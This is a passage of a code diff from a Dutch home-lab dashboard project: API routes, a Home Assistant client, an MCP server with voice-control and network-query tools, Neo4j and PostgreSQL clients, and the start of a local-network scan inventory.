async def update_setting(key: str, value: str):
execute(
"INSERT INTO settings (key, value, updated_at) VALUES (%s, %s, NOW()) ON CONFLICT (key) DO UPDATE SET value = %s, updated_at = NOW()",
(key, value, value)
)
return {"key": key, "value": value}
# ══════════════════════════════════════════════════════════════════════════════
# SYSTEMS & NETWORK (live uit Neo4j graph database)
# ══════════════════════════════════════════════════════════════════════════════
@router.get("/systems")
async def get_systems(os: str | None = None, port: int | None = None):
"""Alle systemen in het thuisnetwerk (uit Neo4j).
Optionele filters:
- os: filter op OS-substring (bijv. "Windows", "Linux", "ESP32")
- port: filter op open poort (bijv. 22, 443, 8123)
"""
if not _neo4j_available:
raise HTTPException(503, "Neo4j niet beschikbaar")
try:
if port is not None:
devices = get_devices_by_port(port)
elif os is not None:
devices = get_devices_by_os(os)
else:
devices = get_all_devices()
# Verrijk met poort-informatie
result = []
for d in devices:
ports = sorted([
p.get("port") for p in (d.get("ports") or [])
if p and p.get("port")
])
result.append({
"ip": d.get("ip"),
"hostname": d.get("hostname", ""),
"mac": d.get("mac", ""),
"os_guess": d.get("os_guess", ""),
"first_seen": str(d.get("first_seen", "")),
"last_seen": str(d.get("last_seen", "")),
"open_ports": ports,
"port_count": len(ports),
})
return result
except Exception as e:
raise HTTPException(500, f"Neo4j query fout: {e}")
@router.get("/systems/{ip}")
async def get_system_detail(ip: str):
"""Detail van één systeem inclusief alle poorten en banners."""
if not _neo4j_available:
raise HTTPException(503, "Neo4j niet beschikbaar")
try:
device = get_device(ip)
if not device:
raise HTTPException(404, f"Systeem {ip} niet gevonden")
ports = []
for p in (device.get("ports") or []):
if p and p.get("port"):
ports.append({
"port": p["port"],
"service": p.get("service", "unknown"),
"banner": p.get("banner", ""),
})
return {
"ip": device.get("ip"),
"hostname": device.get("hostname", ""),
"mac": device.get("mac", ""),
"os_guess": device.get("os_guess", ""),
"first_seen": str(device.get("first_seen", "")),
"last_seen": str(device.get("last_seen", "")),
"ports": sorted(ports, key=lambda p: p["port"]),
}
except HTTPException:
raise
except Exception as e:
raise HTTPException(500, f"Neo4j query fout: {e}")
@router.get("/network")
async def get_network():
"""Netwerkoverzicht: samenvatting + alle devices + scan historie."""
if not _neo4j_available:
raise HTTPException(503, "Neo4j niet beschikbaar")
try:
summary = get_network_summary()
devices = get_all_devices()
history = get_scan_history(limit=3)
# OS-categorieën tellen
from collections import Counter
os_categories = Counter(
d.get("os_guess", "Onbekend") for d in devices
)
# Poort-statistieken
all_ports = []
for d in devices:
for p in (d.get("ports") or []):
if p and p.get("port"):
all_ports.append(p["port"])
port_counts = Counter(all_ports)
# Devices verrijken
device_list = []
for d in devices:
ports = sorted([
p.get("port") for p in (d.get("ports") or [])
if p and p.get("port")
])
device_list.append({
"ip": d.get("ip"),
"hostname": d.get("hostname", ""),
"mac": d.get("mac", ""),
"os_guess": d.get("os_guess", ""),
"open_ports": ports,
"last_seen": str(d.get("last_seen", "")),
})
return {
"summary": {
"total_devices": summary.get("total_devices", 0),
"total_ports": summary.get("total_ports", 0),
"os_categories": dict(os_categories.most_common()),
"top_ports": [
{"port": p, "count": c}
for p, c in port_counts.most_common(10)
],
},
"devices": device_list,
"scan_history": [
{
"id": s.get("id"),
"timestamp": str(s.get("timestamp", "")),
"hosts_active": s.get("hosts_active"),
}
for s in history
],
}
except Exception as e:
raise HTTPException(500, f"Neo4j query fout: {e}")
# ══════════════════════════════════════════════════════════════════════════════
# CONFIG & SETTINGS OVERZICHT
# ══════════════════════════════════════════════════════════════════════════════
@router.get("/config")
async def get_config():
"""Volledig configuratie-overzicht: settings + HA info + database status."""
import config as app_config
from src.pg_client import query as pg_query
settings_rows = pg_query("SELECT * FROM settings")
settings = {r["key"]: r["value"] for r in settings_rows}
# Tel alles voor status-overzicht
fav_count = pg_query("SELECT count(*) as c FROM favorites", fetch="one")["c"]
pw_count = pg_query("SELECT count(*) as c FROM passwords", fetch="one")["c"]
ev_count = pg_query("SELECT count(*) as c FROM calendar_events", fetch="one")["c"]
file_count = pg_query("SELECT count(*) as c FROM file_index", fetch="one")["c"]
photo_count = pg_query("SELECT count(*) as c FROM photos", fetch="one")["c"]
network_devices = 0
last_scan = None
if _neo4j_available:
try:
summary = get_network_summary()
network_devices = summary.get("total_devices", 0)
scans = get_scan_history(limit=1)
if scans:
last_scan = str(scans[0].get("timestamp", ""))
except Exception:
pass
return {
"settings": settings,
"connections": {
"home_assistant": {
"url": app_config.HA_URL,
"connected": bool(app_config.HA_TOKEN),
},
"postgresql": {
"host": app_config.PG_HOST,
"port": app_config.PG_PORT,
"database": app_config.PG_DATABASE,
"user": app_config.PG_USER,
},
"neo4j": {
"uri": app_config.NEO4J_URI,
"user": app_config.NEO4J_USER,
"available": _neo4j_available,
"devices": network_devices,
"last_scan": last_scan,
},
},
"counts": {
"favorites": fav_count,
"passwords": pw_count,
"calendar_events": ev_count,
"files_indexed": file_count,
"photos_indexed": photo_count,
"network_devices": network_devices,
},
"server": {
"host": app_config.WEB_HOST,
"port": app_config.WEB_PORT,
"whisper_mode": app_config.WHISPER_MODE,
"whisper_model": app_config.WHISPER_MODEL,
"whisper_device": app_config.WHISPER_DEVICE,
},
}
# ══════════════════════════════════════════════════════════════════════════════
# DASHBOARD OVERVIEW (samenvatting voor home-tab)
# ══════════════════════════════════════════════════════════════════════════════
@router.get("/overview")
async def get_overview():
network_devices = 0
last_scan = None
if _neo4j_available:
try:
summary = get_network_summary()
network_devices = summary.get("total_devices", 0)
scans = get_scan_history(limit=1)
if scans:
last_scan = str(scans[0].get("timestamp", ""))
except Exception:
pass
return {
"favorites_count": query("SELECT count(*) as c FROM favorites", fetch="one")["c"],
"today_events": query(
"SELECT * FROM calendar_events WHERE event_start::date = CURRENT_DATE ORDER BY event_start"
),
"upcoming_events": query(
"SELECT * FROM calendar_events WHERE event_start > NOW() ORDER BY event_start LIMIT 5"
),
"file_stats": query(
"SELECT file_type, count(*) as cnt FROM file_index GROUP BY file_type ORDER BY cnt DESC"
),
"recent_files": query(
"SELECT * FROM file_index ORDER BY indexed_at DESC LIMIT 10"
),
"password_count": query("SELECT count(*) as c FROM passwords", fetch="one")["c"],
"photo_count": query("SELECT count(*) as c FROM photos", fetch="one")["c"],
"network_devices": network_devices,
"last_scan": last_scan,
}
+117
View File
@@ -0,0 +1,117 @@
"""
Home Assistant REST API client.
Gebruikt een long-lived access token voor authenticatie.
"""
from __future__ import annotations
import httpx
import config
class HAClient:
"""Async client voor de Home Assistant REST API."""
def __init__(self) -> None:
self._base = config.HA_URL.rstrip("/")
self._token = config.HA_TOKEN
self._headers = {
"Authorization": f"Bearer {self._token}",
"Content-Type": "application/json",
}
# ── low-level HTTP ──────────────────────────────────────────────────────
async def _get(self, path: str) -> dict:
async with httpx.AsyncClient(timeout=15.0) as client:
resp = await client.get(
f"{self._base}{path}", headers=self._headers
)
resp.raise_for_status()
return resp.json()
async def _post(self, path: str, json_data: dict | None = None) -> dict:
async with httpx.AsyncClient(timeout=15.0) as client:
resp = await client.post(
f"{self._base}{path}",
headers=self._headers,
json=json_data or {},
)
resp.raise_for_status()
return resp.json()
# ── state ───────────────────────────────────────────────────────────────
async def get_states(self) -> list[dict]:
"""Retourneer alle entity states."""
return await self._get("/api/states")
async def get_entity_state(self, entity_id: str) -> dict:
"""Retourneer de state van één entity."""
return await self._get(f"/api/states/{entity_id}")
# ── services ────────────────────────────────────────────────────────────
async def call_service(
self,
domain: str,
service: str,
target: dict | None = None,
**service_data,
) -> dict:
"""Roep een Home Assistant service aan.
Voorbeeld:
call_service("light", "turn_on", entity_id="light.woonkamer")
"""
payload: dict = {}
if target:
payload["target"] = target
if service_data:
payload.update(service_data)
return await self._post(f"/api/services/{domain}/{service}", payload)
# ── conversation agent ──────────────────────────────────────────────────
async def process_conversation(self, text: str) -> dict:
"""Stuur natuurlijke taal naar de HA conversation agent.
Dit gebruikt HA's ingebouwde intent-herkenning om tekst om te zetten
naar acties (bijv. "doe de lampen uit" → light.turn_off).
"""
payload = {
"text": text,
"language": "nl", # Nederlands
}
return await self._post("/api/conversation/process", payload)
# ── convenience ─────────────────────────────────────────────────────────
async def list_lights(self) -> list[dict]:
"""Retourneer alleen light entities met hun states."""
states = await self.get_states()
return [s for s in states if s.get("entity_id", "").startswith("light.")]
async def control_light(
self,
entity_id: str,
action: str, # "turn_on", "turn_off", "toggle"
brightness: int | None = None, # 0-255
color_name: str | None = None,
) -> dict:
"""Bedien een licht met optionele helderheid/kleur."""
data: dict = {"entity_id": entity_id}
if brightness is not None:
data["brightness"] = max(0, min(255, brightness))
if color_name:
data["color_name"] = color_name
return await self.call_service("light", action, **data)
async def list_all_entities(self, domain: str | None = None) -> list[dict]:
"""Retourneer entities, optioneel gefilterd op domein."""
states = await self.get_states()
if domain:
prefix = f"{domain}."
return [s for s in states if s.get("entity_id", "").startswith(prefix)]
return states
+470
View File
@@ -0,0 +1,470 @@
"""
MCP stdio server die Home Assistant voice-control tools registreert.
Gebruik:
python -m src.mcp_server
De server communiceert via stdin/stdout volgens het MCP-protocol.
"""
from __future__ import annotations
import asyncio
import base64
import json
import logging
import sys
from mcp.server import FastMCP
from mcp.server.stdio import stdio_server
from mcp.types import Tool, TextContent
from src.ha_client import HAClient
from src import whisper_client
# ── logging ─────────────────────────────────────────────────────────────────
logging.basicConfig(
level=logging.INFO,
format="%(asctime)s [%(levelname)s] %(name)s: %(message)s",
stream=sys.stderr, # stdio is voor MCP; logs naar stderr
)
logger = logging.getLogger("mcp-ha-voice")
# ── server setup ────────────────────────────────────────────────────────────
server = FastMCP("ha-voice-control")
ha = HAClient()
# ── helpers ─────────────────────────────────────────────────────────────────
def _json_result(data) -> str:
"""Formatteer data als pretty-printed JSON string."""
return json.dumps(data, ensure_ascii=False, indent=2, default=str)
# ── tools ───────────────────────────────────────────────────────────────────
@server.tool()
async def speak_command(audio_base64: str) -> list[TextContent]:
"""Spraakcommando: transcribeer audio en voer uit via Home Assistant.
Args:
audio_base64: Base64-gecodeerde WAV-audio opname.
Returns:
Transcriptie en resultaat van de uitgevoerde actie.
"""
try:
audio_bytes = base64.b64decode(audio_base64)
except Exception as e:
return [TextContent(type="text", text=f"Fout bij decoderen audio: {e}")]
try:
text = await whisper_client.transcribe(audio_bytes)
except Exception as e:
logger.exception("Transcriptie mislukt")
return [TextContent(type="text", text=f"Transcriptie fout: {e}")]
if not text.strip():
return [TextContent(type="text", text="Geen spraak gedetecteerd in de audio.")]
try:
result = await ha.process_conversation(text)
except Exception as e:
logger.exception("Home Assistant aanroep mislukt")
return [
TextContent(
type="text",
text=f"Transcriptie: \"{text}\"\nFout bij uitvoeren: {e}",
)
]
return [
TextContent(
type="text",
text=f"Transcriptie: \"{text}\"\nResultaat:\n{_json_result(result)}",
)
]
@server.tool()
async def transcribe_audio(audio_base64: str) -> list[TextContent]:
"""Alleen transcriberen, geen actie uitvoeren.
Args:
audio_base64: Base64-gecodeerde WAV-audio opname.
Returns:
De herkende tekst.
"""
try:
audio_bytes = base64.b64decode(audio_base64)
except Exception as e:
return [TextContent(type="text", text=f"Fout bij decoderen audio: {e}")]
try:
text = await whisper_client.transcribe(audio_bytes)
except Exception as e:
logger.exception("Transcriptie mislukt")
return [TextContent(type="text", text=f"Transcriptie fout: {e}")]
return [TextContent(type="text", text=text or "(stilte)")]
@server.tool()
async def send_text_command(text: str) -> list[TextContent]:
"""Stuur een tekstcommando naar de Home Assistant conversation agent.
Args:
text: Het commando in natuurlijke taal (bijv. "doe de lampen uit").
Returns:
Het resultaat van de conversation agent.
"""
try:
result = await ha.process_conversation(text)
except Exception as e:
logger.exception("Conversation agent fout")
return [TextContent(type="text", text=f"Fout: {e}")]
return [TextContent(type="text", text=_json_result(result))]
@server.tool()
async def list_lights() -> list[TextContent]:
"""Toon alle lampen met hun huidige status (aan/uit, helderheid, kleur)."""
try:
lights = await ha.list_lights()
except Exception as e:
return [TextContent(type="text", text=f"Fout bij ophalen lampen: {e}")]
if not lights:
return [TextContent(type="text", text="Geen lampen gevonden in Home Assistant.")]
summary = []
for light in lights:
entity_id = light.get("entity_id", "?")
state = light.get("state", "?")
attrs = light.get("attributes", {})
friendly = attrs.get("friendly_name", entity_id)
brightness = attrs.get("brightness", "NVT")
summary.append(
f"{friendly} ({entity_id}): {state}"
+ (f", helderheid={brightness}" if state == "on" else "")
)
return [TextContent(type="text", text="Lampen:\n" + "\n".join(summary))]
@server.tool()
async def control_light(
entity_id: str,
action: str,
brightness: int | None = None,
color_name: str | None = None,
) -> list[TextContent]:
"""Bedien een specifiek licht.
Args:
entity_id: Entity ID van de lamp (bijv. "light.woonkamer").
action: "turn_on", "turn_off", of "toggle".
brightness: Helderheid 0-255 (optioneel).
color_name: Kleurnaam zoals "red", "blue" (optioneel).
Returns:
Bevestiging van de actie.
"""
valid_actions = {"turn_on", "turn_off", "toggle"}
if action not in valid_actions:
return [
TextContent(
type="text",
text=f"Ongeldige actie '{action}'. Kies uit: {', '.join(sorted(valid_actions))}",
)
]
try:
result = await ha.control_light(entity_id, action, brightness, color_name)
except Exception as e:
logger.exception("Controleren lamp mislukt")
return [TextContent(type="text", text=f"Fout: {e}")]
return [
TextContent(
type="text",
text=f"Actie '{action}' uitgevoerd op {entity_id}.\n{_json_result(result)}",
)
]
@server.tool()
async def list_all_entities(domain: str | None = None) -> list[TextContent]:
"""Toon alle Home Assistant entities, optioneel gefilterd op domein.
Args:
domain: Filter op domein (bijv. "light", "switch", "sensor"). None = alles.
Returns:
Lijst van entities en hun states.
"""
try:
entities = await ha.list_all_entities(domain)
except Exception as e:
return [TextContent(type="text", text=f"Fout bij ophalen entities: {e}")]
lines = []
for e in entities[:100]: # limiet om output beheersbaar te houden
eid = e.get("entity_id", "?")
state = e.get("state", "?")
friendly = (e.get("attributes", {}) or {}).get("friendly_name", "")
label = f"{friendly} ({eid})" if friendly else eid
lines.append(f"{label}: {state}")
if len(entities) > 100:
lines.append(f" ... en {len(entities) - 100} meer")
header = f"Entities ({domain or 'alle'}):\n"
return [TextContent(type="text", text=header + "\n".join(lines))]
@server.tool()
async def get_entity_state(entity_id: str) -> list[TextContent]:
"""Haal de huidige state op van één entity.
Args:
entity_id: Volledige entity ID (bijv. "light.woonkamer").
Returns:
De volledige state met attributen.
"""
try:
state = await ha.get_entity_state(entity_id)
except Exception as e:
return [TextContent(type="text", text=f"Fout: {e}")]
return [TextContent(type="text", text=_json_result(state))]
@server.tool()
async def call_ha_service(
domain: str,
service: str,
entity_id: str | None = None,
) -> list[TextContent]:
"""Roep een willekeurige Home Assistant service aan.
Args:
domain: Service domein (bijv. "light", "switch", "script").
service: Service naam (bijv. "turn_on", "turn_off").
entity_id: Optionele target entity ID.
Returns:
Het resultaat van de service call.
"""
target = {"entity_id": entity_id} if entity_id else None
try:
result = await ha.call_service(domain, service, target=target)
except Exception as e:
return [TextContent(type="text", text=f"Fout: {e}")]
return [TextContent(type="text", text=_json_result(result))]
# ── Neo4j netwerk queries ────────────────────────────────────────────────────
@server.tool()
async def query_network(query_type: str = "all", param: str = "") -> list[TextContent]:
"""Bevraag de Neo4j netwerkdatabase met alle bekende thuisnetwerk-apparaten.
Args:
query_type: Type query:
"all" - alle devices met poorten
"device" - een specifiek IP (geef IP mee als param)
"by_os" - filter op OS (bijv. "Windows", "Linux", "ESP32")
"by_port" - filter op open poort (bijv. "22" voor SSH)
"scan_history" - recente scan runs
"summary" - netwerk samenvatting
param: IP, OS-substring, of poortnummer (afhankelijk van query_type)
Returns:
De gevraagde data als JSON.
"""
try:
from src.neo4j_client import (
get_all_devices, get_device, get_devices_by_os,
get_devices_by_port, get_scan_history, get_network_summary,
)
except ImportError:
return [TextContent(type="text", text="Neo4j module niet beschikbaar. Installeer: pip install neo4j")]
try:
if query_type == "all":
data = get_all_devices()
elif query_type == "device" and param:
d = get_device(param)
data = [d] if d else []
elif query_type == "by_os" and param:
data = get_devices_by_os(param)
elif query_type == "by_port" and param:
data = get_devices_by_port(int(param))
elif query_type == "scan_history":
data = get_scan_history()
elif query_type == "summary":
data = [get_network_summary()]
else:
return [TextContent(type="text",
text=f"Gebruik: query_type=all|device|by_os|by_port|scan_history|summary (param indien nodig)")]
return [TextContent(type="text", text=_json_result(data))]
except Exception as e:
logger.exception("Neo4j query fout")
return [TextContent(type="text", text=f"Neo4j fout: {e}")]
@server.tool()
async def get_network_context() -> list[TextContent]:
"""RETOURNEERT VOLLEDIGE THUISNETWERK CONTEXT VOOR RAG.
Gebruik deze tool om context op te halen over het thuisnetwerk en homelab.
Dit geeft een compleet overzicht van alle apparaten, hun IP-adressen,
hostnames, besturingssystemen, open poorten, en services.
Geschikt voor:
- Context bij het openen van mappen/configuraties in DeepSeek TUI
- Netwerk-topologie begrijpen
- Troubleshooting van connectiviteit
- Alle IP-adressen en poorten van je homelab
Returns:
Een gestructureerde tekst-samenvatting van het hele thuisnetwerk.
"""
try:
from src.neo4j_client import (
get_all_devices, get_scan_history, get_network_summary,
)
except ImportError:
return [TextContent(type="text", text="Neo4j niet beschikbaar. Installeer: pip install neo4j")]
try:
summary = get_network_summary()
devices = get_all_devices()
history = get_scan_history(limit=3)
lines = []
lines.append("=" * 60)
lines.append("THUISNETWERK & HOMELAB — NETWERK CONTEXT")
lines.append("=" * 60)
lines.append(f"Netwerk: 192.168.1.0/24")
lines.append(f"Apparaten: {summary.get('total_devices', 0)}")
lines.append(f"Unieke open poorten: {summary.get('total_ports', 0)}")
lines.append("")
# Categorieen
from collections import Counter
cats = Counter(d.get("os_guess", "Onbekend") for d in devices)
lines.append("--- OS Categorieën ---")
for cat, cnt in cats.most_common():
lines.append(f" {cat}: {cnt}x")
# Alle devices
lines.append("")
lines.append("--- Alle Apparaten ---")
# Groepeer op type
router = [d for d in devices if "Router" in (d.get("os_guess") or "")]
linux_srv = [d for d in devices if "Linux" in (d.get("os_guess") or "") and "Router" not in (d.get("os_guess") or "")]
windows = [d for d in devices if "Windows" in (d.get("os_guess") or "")]
unifi = [d for d in devices if "UniFi" in (d.get("os_guess") or "")]
esp32 = [d for d in devices if "ESP32" in (d.get("os_guess") or "")]
nas = [d for d in devices if "Synology" in (d.get("os_guess") or "")]
ha = [d for d in devices if "Home Assistant" in (d.get("os_guess") or "")]
other = [d for d in devices if d not in router + linux_srv + windows + unifi + esp32 + nas + ha]
def fmt_device(d):
ports = sorted([p.get("port") for p in (d.get("ports") or []) if p and p.get("port")])
port_str = ", ".join(f":{p}" for p in ports) if ports else "geen open poorten"
hostname = d.get("hostname", "")
return f" {d['ip']:<16} {hostname:<35} {port_str}"
if router:
lines.append("\n[Gateway/Router]")
for d in router:
lines.append(fmt_device(d))
if nas:
lines.append("\n[NAS]")
for d in nas:
lines.append(fmt_device(d))
if ha:
lines.append("\n[Home Assistant]")
for d in ha:
lines.append(fmt_device(d))
if linux_srv:
lines.append("\n[Linux Servers]")
for d in linux_srv:
lines.append(fmt_device(d))
if windows:
lines.append("\n[Windows]")
for d in windows:
lines.append(fmt_device(d))
if unifi:
lines.append("\n[UniFi Apparatuur]")
for d in unifi:
lines.append(fmt_device(d))
if esp32:
lines.append("\n[ESP32 IoT]")
for d in esp32:
lines.append(fmt_device(d))
if other:
lines.append("\n[Overig]")
for d in other:
lines.append(fmt_device(d))
# Belangrijke services
lines.append("")
lines.append("--- Belangrijke Services & URLs ---")
service_map = {
"192.168.1.1": "UniFi Dream Machine (Gateway)",
"192.168.1.6": "Vaultwarden (password manager) :8000",
"192.168.1.24": "UniFi Controller :443",
"192.168.1.118": "Kassa Dev Server (PostgreSQL :5432)",
"192.168.1.142": "Linkwarden (bookmarks) :80",
"192.168.1.211": "Synology NAS — DSM :5000 | PostgreSQL :5433 | Neo4j :49153 | Portainer :9000 | AdGuard :3000 | Homarr :4755 | Excalidraw :3765",
"192.168.1.235": "Home Assistant :8123",
"192.168.1.227": "Docker Host :8000",
}
for d in devices:
ip = d["ip"]
if ip in service_map:
lines.append(f" {ip}{service_map[ip]}")
# Scan history
lines.append("")
lines.append("--- Laatste Scans ---")
for s in history:
ts = str(s.get("timestamp", "?"))[:16].replace("T", " ")
lines.append(f" {s.get('id')} @ {ts}{s.get('hosts_active')} hosts")
lines.append("")
lines.append("=" * 60)
return [TextContent(type="text", text="\n".join(lines))]
except Exception as e:
logger.exception("Netwerk context ophalen mislukt")
return [TextContent(type="text", text=f"Fout bij ophalen netwerkcontext: {e}")]
# ── entry point ─────────────────────────────────────────────────────────────
def main() -> None:
"""Start de MCP server via stdio."""
logger.info("Starten van MCP Home Assistant Voice Control server...")
server.run(transport="stdio")
if __name__ == "__main__":
main()
+277
View File
@@ -0,0 +1,277 @@
"""
Neo4j graph database client voor thuisnetwerk-inventaris.
Schema:
(d:Device {ip, hostname, mac, os_guess, first_seen, last_seen})
(p:Port {number, protocol, service, banner})
(s:ScanRun {id, timestamp, network, hosts_scanned, hosts_active})
Relaties:
(d)-[:HAS_PORT]->(p)
(d)-[:FOUND_IN]->(s)
Alle imports zijn upsert (MERGE) — herhaald scannen overschrijft niet maar vult aan.
"""
from __future__ import annotations
import logging
from datetime import datetime, timezone
from neo4j import GraphDatabase, Driver
import config
logger = logging.getLogger(__name__)
_driver: Driver | None = None
def get_driver() -> Driver:
global _driver
if _driver is None:
_driver = GraphDatabase.driver(
config.NEO4J_URI,
auth=(config.NEO4J_USER, config.NEO4J_PASSWORD),
)
_driver.verify_connectivity()
logger.info("Verbonden met Neo4j op %s", config.NEO4J_URI)
return _driver
def close():
global _driver
if _driver:
_driver.close()
_driver = None
# ── Schema setup ────────────────────────────────────────────────────────────
SCHEMA_QUERIES = [
"CREATE CONSTRAINT device_ip IF NOT EXISTS FOR (d:Device) REQUIRE d.ip IS UNIQUE",
"CREATE INDEX device_hostname IF NOT EXISTS FOR (d:Device) ON (d.hostname)",
"CREATE INDEX device_os IF NOT EXISTS FOR (d:Device) ON (d.os_guess)",
"CREATE INDEX port_service IF NOT EXISTS FOR (p:Port) ON (p.service)",
]
def init_schema():
"""Creëer constraints en indexes."""
driver = get_driver()
with driver.session() as session:
for query in SCHEMA_QUERIES:
try:
session.run(query)
except Exception as e:
if "already exists" not in str(e).lower():
logger.warning("Schema fout: %s", e)
logger.info("Neo4j schema gereed.")
# ── Import ──────────────────────────────────────────────────────────────────
def import_scan(devices: list[dict], network: str = "192.168.1.0/24") -> str:
"""
Importeer scanresultaten in Neo4j.
Args:
devices: Lijst van dicts met:
ip, hostname, mac, os_guess, open_ports: [int], banners: {port: str}
network: CIDR notatie van gescande netwerk
Returns:
Samenvattingsstring.
"""
driver = get_driver()
scan_id = f"scan-{datetime.now(timezone.utc).strftime('%Y%m%d-%H%M%S')}"
timestamp = datetime.now(timezone.utc).isoformat()
total_ports = sum(len(d.get("open_ports", [])) for d in devices)
with driver.session() as session:
# Maak ScanRun node
session.run(
"""
CREATE (s:ScanRun {
id: $scan_id,
timestamp: datetime($timestamp),
network: $network,
hosts_scanned: $total_hosts,
hosts_active: $total_hosts
})
""",
scan_id=scan_id, timestamp=timestamp, network=network,
total_hosts=len(devices),
)
for device in devices:
ip = device["ip"]
hostname = device.get("hostname", ip)
mac = device.get("mac", "")
os_guess = device.get("os_guess", "Onbekend")
open_ports = device.get("open_ports", [])
banners = device.get("banners", {})
# Upsert Device (MERGE op IP)
session.run(
"""
MERGE (d:Device {ip: $ip})
SET d.hostname = $hostname,
d.mac = CASE WHEN $mac <> '' THEN $mac ELSE d.mac END,
d.os_guess = $os_guess,
d.last_seen = datetime($timestamp)
FOREACH (_ IN CASE WHEN d.first_seen IS NULL THEN [1] ELSE [] END |
SET d.first_seen = datetime($timestamp)
)
WITH d
MATCH (s:ScanRun {id: $scan_id})
MERGE (d)-[:FOUND_IN]->(s)
""",
ip=ip, hostname=hostname, mac=mac, os_guess=os_guess,
timestamp=timestamp, scan_id=scan_id,
)
# Upsert Port nodes + HAS_PORT relaties
for port in open_ports:
banner = banners.get(port, "")
try:
import socket
service = socket.getservbyport(port, "tcp")
except Exception:
service = "unknown"
session.run(
"""
MERGE (p:Port {number: $port, protocol: 'tcp'})
SET p.service = $service,
p.banner = CASE WHEN $banner <> '' THEN $banner ELSE p.banner END
WITH p
MATCH (d:Device {ip: $ip})
MERGE (d)-[:HAS_PORT]->(p)
""",
port=port, service=service, banner=banner, ip=ip,
)
# Verwijder oude HAS_PORT relaties voor poorten die niet meer open zijn
if open_ports:
session.run(
"""
MATCH (d:Device {ip: $ip})-[r:HAS_PORT]->(p:Port)
WHERE NOT p.number IN $open_ports
DELETE r
""",
ip=ip, open_ports=open_ports,
)
summary = (
f"Scan '{scan_id}' geimporteerd: {len(devices)} devices, "
f"{total_ports} open poorten."
)
logger.info(summary)
return summary
# ── Query functies ──────────────────────────────────────────────────────────
def get_all_devices() -> list[dict]:
"""Alle bekende devices met hun poorten."""
driver = get_driver()
with driver.session() as session:
result = session.run(
"""
MATCH (d:Device)
OPTIONAL MATCH (d)-[:HAS_PORT]->(p:Port)
RETURN d.ip AS ip, d.hostname AS hostname, d.mac AS mac,
d.os_guess AS os_guess, d.first_seen AS first_seen,
d.last_seen AS last_seen,
collect({port: p.number, service: p.service, banner: p.banner}) AS ports
ORDER BY d.ip
"""
)
return [record.data() for record in result]
def get_device(ip: str) -> dict | None:
"""Eén device inclusief poorten."""
driver = get_driver()
with driver.session() as session:
result = session.run(
"""
MATCH (d:Device {ip: $ip})
OPTIONAL MATCH (d)-[:HAS_PORT]->(p:Port)
RETURN d.ip AS ip, d.hostname AS hostname, d.mac AS mac,
d.os_guess AS os_guess, d.last_seen AS last_seen,
collect({port: p.number, service: p.service, banner: p.banner}) AS ports
""",
ip=ip,
)
record = result.single()
return record.data() if record else None
def get_devices_by_os(os_guess: str) -> list[dict]:
"""Zoek devices op OS-substring."""
driver = get_driver()
with driver.session() as session:
result = session.run(
"""
MATCH (d:Device)
WHERE d.os_guess CONTAINS $os
RETURN d.ip AS ip, d.hostname AS hostname, d.os_guess AS os_guess
ORDER BY d.ip
""",
os=os_guess,
)
return [record.data() for record in result]
def get_devices_by_port(port: int) -> list[dict]:
"""Devices met een specifieke open poort."""
driver = get_driver()
with driver.session() as session:
result = session.run(
"""
MATCH (d:Device)-[:HAS_PORT]->(p:Port {number: $port})
RETURN d.ip AS ip, d.hostname AS hostname, p.service AS service,
p.banner AS banner
ORDER BY d.ip
""",
port=port,
)
return [record.data() for record in result]
def get_scan_history(limit: int = 5) -> list[dict]:
"""Recente scanruns."""
driver = get_driver()
with driver.session() as session:
result = session.run(
"""
MATCH (s:ScanRun)
RETURN s.id AS id, s.timestamp AS timestamp, s.network AS network,
s.hosts_active AS hosts_active
ORDER BY s.timestamp DESC
LIMIT $limit
""",
limit=limit,
)
return [record.data() for record in result]
def get_network_summary() -> dict:
"""High-level netwerkoverzicht."""
driver = get_driver()
with driver.session() as session:
result = session.run(
"""
MATCH (d:Device)
OPTIONAL MATCH (d)-[:HAS_PORT]->(p:Port)
RETURN count(DISTINCT d) AS total_devices,
count(DISTINCT p) AS total_ports,
collect(DISTINCT d.os_guess) AS os_types
"""
)
return result.single().data()
+77
View File
@@ -0,0 +1,77 @@
"""
PostgreSQL client voor het Home Dashboard.
Connecteert naar Synology PostgreSQL 192.168.1.211:5433.
"""
from __future__ import annotations
import logging
from contextlib import contextmanager
import psycopg2
import psycopg2.pool
import psycopg2.extras
import config
logger = logging.getLogger(__name__)
_pool: psycopg2.pool.ThreadedConnectionPool | None = None
def get_pool():
global _pool
if _pool is None:
_pool = psycopg2.pool.ThreadedConnectionPool(
minconn=2,
maxconn=10,
host=config.PG_HOST,
port=config.PG_PORT,
user=config.PG_USER,
password=config.PG_PASSWORD,
dbname=config.PG_DATABASE,
)
logger.info("PostgreSQL pool aangemaakt (%s:%s/%s)",
config.PG_HOST, config.PG_PORT, config.PG_DATABASE)
return _pool
@contextmanager
def get_conn():
"""Context manager voor een PostgreSQL connectie."""
pool = get_pool()
conn = pool.getconn()
conn.autocommit = False
try:
yield conn
except Exception:
conn.rollback()
raise
finally:
pool.putconn(conn)
def query(sql: str, params: tuple | dict | None = None, fetch: str = "all"):
"""Voer een query uit en retourneer resultaten."""
with get_conn() as conn:
with conn.cursor(cursor_factory=psycopg2.extras.RealDictCursor) as cur:
cur.execute("SET search_path TO dashboard, public;")
cur.execute(sql, params or ())
if fetch == "all":
return [dict(row) for row in cur.fetchall()]
elif fetch == "one":
row = cur.fetchone()
return dict(row) if row else None
elif fetch == "none":
conn.commit()
return None
def execute(sql: str, params: tuple | dict | None = None) -> int:
"""Voer een INSERT/UPDATE/DELETE uit, retourneer rowcount."""
with get_conn() as conn:
with conn.cursor() as cur:
cur.execute("SET search_path TO dashboard, public;")
cur.execute(sql, params or ())
conn.commit()
return cur.rowcount
+53
View File
@@ -0,0 +1,53 @@
"""
Scanresultaten van 2026-05-10 — 192.168.1.0/24.
17 actieve hosts (ICMP) + 2 handmatig toegevoegd (.211 Synology, .235 Home Assistant).
"""
SCAN_RESULTS = [
{"ip": "192.168.1.1", "hostname": "setup.ui.com", "mac": "D8:B3:70:93:B1:AB",
"os_guess": "Router/Gateway (UniFi Dream Machine)", "open_ports": [22, 53], "banners": {}},
{"ip": "192.168.1.2", "hostname": "ESP_5FC20A.localdomain", "mac": "84:0D:8E:5F:C2:0A",
"os_guess": "ESP32 IoT", "open_ports": [], "banners": {}},
{"ip": "192.168.1.6", "hostname": "vaultwarden.localdomain", "mac": "",
"os_guess": "Linux (Vaultwarden)", "open_ports": [22, 8000], "banners": {}},
{"ip": "192.168.1.7", "hostname": "roborock-vacuum-a51.localdomain", "mac": "",
"os_guess": "Roborock Stofzuiger", "open_ports": [], "banners": {}},
{"ip": "192.168.1.24", "hostname": "unifi.localdomain", "mac": "",
